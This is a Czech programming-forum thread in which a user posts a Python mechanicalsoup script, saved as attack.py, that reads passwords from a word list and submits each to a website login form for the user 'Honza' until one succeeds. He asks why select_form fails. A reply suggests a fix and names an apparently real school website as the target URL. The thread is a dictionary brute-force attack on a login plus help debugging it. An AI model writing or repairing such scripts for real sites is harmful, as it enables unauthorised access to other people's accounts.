Vydělávej až 160.000 Kč měsíčně! Akreditované rekvalifikační kurzy s garancí práce od 0 Kč. Více informací.
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.
Avatar
Pavel Soukup
Člen
Avatar
Pavel Soukup:28.1.2019 19:29

Ahoj programátoři.
Potřeboval bych pomoci s jedním problémkem, se kterým jsem se setkal v programování v pythonu.
Potřebuji si importovat knihovnu mechanicalsoup, která mi umožní komunikovat se stránkou, ale nefunguje mi select_form(), k selectnutí login formu a načtení jeho inputů.

zde je můj kód.

import mechanicalsoup

stranka = mechanicalsoup.StatefulBrowser()

stranka.open("https:// neco")


hesla = open("slova.txt", "r")

def nacitani():
    for h in hesla:
        stranka.select_form('form[action="login.php"]')
        stranka["nick"] = "Honza"
        stranka["heslo"] = h
        potvrzení = stranka.submit_selected()
        if stranka.get_url() == "https://neco":
            print ("Správné heslo je: " + h)
            break

        else:
            pass

nacitani()

a zde chyba

Traceback (most recent call last):
  File "C:\python\attack.py", line 23, in <module>
    nacitani()
  File "C:\python\attack.py", line 12, in nacitani
    stranka.select_form('form[action="login.php"]')
  File "C:\neco", line 207, in select_form
    raise LinkNotFoundError()
mechanicalsoup.utils.LinkNotFoundError

Vypadá to, že něco chybí v souboru stateful_brow­ser.py, ale to mi přijde nepravděpodobný, když jsem stahoval python z oficiálních stránek, importoval jsem plnou verzi knihovny mechanicalsoup a příkaz select_form() jsem v tomto znění našel na oficiálních stránkách o mechanicalsoup.

Zkusil jsem: Zkoušel jsem již jiné verze pythonu, hledat řešení na internetu, ale nikde jsem nic nenašel.

Chci docílit: Abych to shrnul, potřeboval bych najít řešení toho, proč nemohu použít příkaz select_form, který jsem vzal z oficiálních zdrojů a jak by to šlo opravit.

Děkuji, S pozdravem
Pavel Soukup

 
Odpovědět
28.1.2019 19:29
Avatar
Tomáš Kubát:30.1.2019 20:49

Ahoj, před tím než budeš selectovat formy by jsi na objektu stranka měl zavolat methodu stranka.get_cu­rrent_page(). Poté by to již mělo fungovat.

stranka.open("https://stolbja16.sps-prosek.cz/VSECHNO/data/public_html/BIT/")
stranka.get_current_page()
Editováno 30.1.2019 20:50
 
Nahoru Odpovědět
30.1.2019 20:49
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 2 zpráv z 2.